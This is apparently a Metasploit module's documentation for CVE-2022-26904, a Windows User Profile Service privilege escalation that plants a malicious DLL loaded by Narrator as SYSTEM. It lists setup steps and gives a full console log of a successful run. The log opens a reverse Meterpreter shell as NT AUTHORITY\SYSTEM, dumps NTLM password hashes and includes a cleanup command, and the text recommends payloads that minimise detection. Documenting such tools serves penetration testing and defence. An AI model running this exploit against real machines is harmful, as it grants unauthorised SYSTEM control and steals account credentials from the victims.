
## Vulnerable Application

The User Profile Service on Windows 7 and later is affected by a lack of appropriate validation
when running the `profext.dll`'s `CreateDirectoryJunction()` function. Previous iterations of this
vulnerability go by the CVE IDs CVE-2022-21919 and CVE-2021-34484, however this is a patch bypass for
both of these CVEs.

By abusing a combination of directory junction and symbolic links, an authenticated local attacker
can manipulate the user profile service to create a junction in an arbitrary location as the SYSTEM user.

This exploit takes advantage of this to plant a malicious `comctl32.dll` DLL in a system folder
that `Narrator.exe` relies on. After this is complete, it will then trigger a UAC prompt to
cause `narrator.exe` to load and run the malicious DLL as the `NT AUTHORITY\SYSTEM` user.

Note that exploiting this vulnerability requires having the credentials of a secondary user
who has permissions to log into the local system and who is not an administrative user. The user
must also have a profile under `C:\Users\<username>` or `C:\Users\<username>.<domain>` prior to
running this exploit, in order for the exploit to succeed. In our tests, this typically meant that
the user must have logged in to the target computer in the past. However the target user can be
a local account or a domain joined account, either one will work for the purpose of exploitation so
long as the above criteria is met.

In addition to the above criteria, the user who is running the exploit process, aka the current user,
must have the `PromptOnSecureDesktop` setting set to `1`. This is enabled by default and is highly unlikely
to be changed unless the UAC settings have been lowered from their defaults, however without this set,
the UAC prompt will be run as the current user and will not be run as `SYSTEM` from the secure desktop,
which is a necessary step for this exploit to achieve `SYSTEM` level code execution.

Note that Metasploit payloads are highly recommended to be used when exploiting this vulnerability due
to the fact that it allows one to do automatic cleanup, thus minimizing detection. The exploit is quite
noisy both sound wise due to Narrator reading aloud the user's screen, and visually as Narrator tries
to highlight the various words on the screen, however after about 3 minute this should all go away once
we get a shell and the Meterpreter cleanup code kicks in to kill these processes.

This module has been successfully tested on Windows 11.

## Verification Steps

1. Get a local session as a normal non-admin user on a fully updated Windows 11 install.
1. Start `msfconsole`
1. `use exploit/windows/local/cve_2022_26904_superprofile.rb`
1. `set SESSION <session ID of local session from earlier>`
1. `set LOGINUSER <username of other non-admin user to use for exploit. Cannot be same as current user>`
1. `set LOGINDOMAIN <domain of the user specified by LOGINUSER>`
1. `set LOGINPASSWORD <password for the user specified by LOGINUSER>`
1. Set the payload type. Meterpreter is highly recommended for best results.
1. Set the payload options.
1. `exploit`
1. **Verify** that you get a new session as `NT AUTHORITY\SYSTEM`

## Options

### LOGINUSER

The username of a valid user who has logged into the target system before and has a profile under `C:\Users` with their username in
`C:\Users\<username>.<domain>\` format if targeting a domain user or `C:\Users\<username>\` if targeting a local user account. This user
must not be an administrator or any account that would run with High integrity to ensure the UAC prompt appears as expected, and should ideally
be another normal user account that has permissions to log into the target computer.

### LOGINPASSWORD

The password for the LOGINUSER user.

### LOGINDOMAIN

The domain that the LOGINUSER belongs to and which we will log into.

## Scenarios

### Windows 11 Build 10.0.22000.556

```
msf payload(windows/x64/meterpreter/reverse_tcp) > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf exploit(multi/handler) > set RHOST 172.19.78.176
RHOST => 172.19.78.176
msf exploit(multi/handler) > exploit

[*] Started bind TCP handler against 172.19.78.176:4444
[*] Sending stage (200262 bytes) to 172.19.78.176
[*] Meterpreter session 1 opened (172.19.70.15:38009 -> 172.19.78.176:4444 ) at 2022-03-28 17:17:13 -0500

meterpreter > getuid
Server username: WIN11-TEST\normal
meterpreter > sysinfo
Computer        : WIN11-TEST
OS              : Windows 10 (10.0 Build 22000).
Architecture    : x64
System Language : en_US
Domain          : TESTINGDOMAIN
Logged On Users : 10
Meterpreter     : x64/windows
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: 1346 The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
[-] Named Pipe Impersonation (PrintSpooler variant)
meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/handler) > use exploit/windows/local/cve_2022_26904_superprofile
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/local/cve_2022_26904_superprofile) > show options

Module options (exploit/windows/local/cve_2022_26904_superprofile):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   LOGINDOMAIN    .                yes       Domain that the LOGINUSER belongs to. Ensures we log into the right domain.
   LOGINPASSWORD                   yes       Password for the secondary normal privileged user to log in as
   LOGINUSER                       yes       Username of the secondary normal privileged user to log in as. Cannot be the same a
                                             s the current user!
   SESSION                         yes       The session to run this module on


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 11


msf exploit(windows/local/cve_2022_26904_superprofile) > set LOGINDOMAIN TESTINGDOMAIN
LOGINDOMAIN => TESTINGDOMAIN
msf exploit(windows/local/cve_2022_26904_superprofile) > set LOGINUSER normal
LOGINUSER => normal
msf exploit(windows/local/cve_2022_26904_superprofile) > set LOGINPASSWORD normal1
LOGINPASSWORD => normal1
msf exploit(windows/local/cve_2022_26904_superprofile) > set SESSION 1
SESSION => 1
msf exploit(windows/local/cve_2022_26904_superprofile) > set LHOST 172.1
set LHOST 172.17.0.1    set LHOST 172.18.0.1    set LHOST 172.19.70.15
msf exploit(windows/local/cve_2022_26904_superprofile) > set LHOST 172.19.70.15
LHOST => 172.19.70.15
msf exploit(windows/local/cve_2022_26904_superprofile) > show options

Module options (exploit/windows/local/cve_2022_26904_superprofile):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   LOGINDOMAIN    TESTINGDOMAIN    yes       Domain that the LOGINUSER belongs to. Ensures we log into the right domain.
   LOGINPASSWORD  normal1          yes       Password for the secondary normal privileged user to log in as
   LOGINUSER      normal           yes       Username of the secondary normal privileged user to log in as. Cannot be the same a
                                             s the current user!
   SESSION        1                yes       The session to run this module on


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.19.70.15     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 11


msf exploit(windows/local/cve_2022_26904_superprofile) > check

[*] Checking if PromptOnSecureDesktop mitigation applied...
[+] PromptOnSecureDesktop is set to 1, should be safe to proceed!
[*] The target appears to be vulnerable. Vulnerable Windows 11 build detected!
msf exploit(windows/local/cve_2022_26904_superprofile) > exploit

[*] Started reverse TCP handler on 172.19.70.15:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if PromptOnSecureDesktop mitigation applied...
[+] PromptOnSecureDesktop is set to 1, should be safe to proceed!
[+] The target appears to be vulnerable. Vulnerable Windows 11 build detected!
[*] Step #1: Checking target environment...
[*] Payload DLL is 8704 bytes long
[*] Writing malicious DLL to C:\Users\normal\AppData\Local\Temp\UXjPXpYr.dll
[*] Marking DLL as full access for Everyone so that there are no access issues as the secondary user...
[*] Step #3: Loading the exploit DLL to run the main exploit...
[*] Launching netsh to host the DLL...
[+] Process 7144 launched.
[*] Reflectively injecting the DLL into 7144...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[!] Cleanup may not occur automatically if you aren't using a Meterpreter payload so make sure to run the following command upon session completion:
[!] taskkill /IM "consent.exe" /F || taskkill /IM "narrator.exe" /F || taskkill /IM "narratorquickstart.exe" /F || rmdir /q /s C:\Users\TEMP || rmdir /q /s C:\Windows\System32\Narrator.exe.local
[!] You may need to run this more than once to ensure these files are properly deleted and Narrator.exe actually closes!
[*] Sending stage (200262 bytes) to 172.19.78.176
[*] Meterpreter session 2 opened (172.19.70.15:4444 -> 172.19.78.176:49795 ) at 2022-03-28 17:19:15 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
Background session 2? [y/N]
msf exploit(windows/local/cve_2022_26904_superprofile) > sessions

Active sessions
===============

  Id  Name  Type                     Information                       Connection
  --  ----  ----                     -----------                       ----------
  1         meterpreter x64/windows  WIN11-TEST\normal @ WIN11-TEST    172.19.70.15:38009 -> 172.19.78.176:4444  (172.19.78.176)
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ WIN11-TEST  172.19.70.15:4444 -> 172.19.78.176:49795  (172.19.78.176)
meterpreter > hashdump
admin:1001:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
normal:1002:aad3b435b51404eeaad3b435b51404ee:a38673ad58b19421e952fc317b62c3c4:::
normal2:1003:aad3b435b51404eeaad3b435b51404ee:ccc4aa1760d894d251095afc974ee2e3:::
normal3:1004:aad3b435b51404eeaad3b435b51404ee:c4799ce6104040284f457f69cde46c03:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:639f60910cff1cf4ba5a83f309bccf66:::
meterpreter >
```
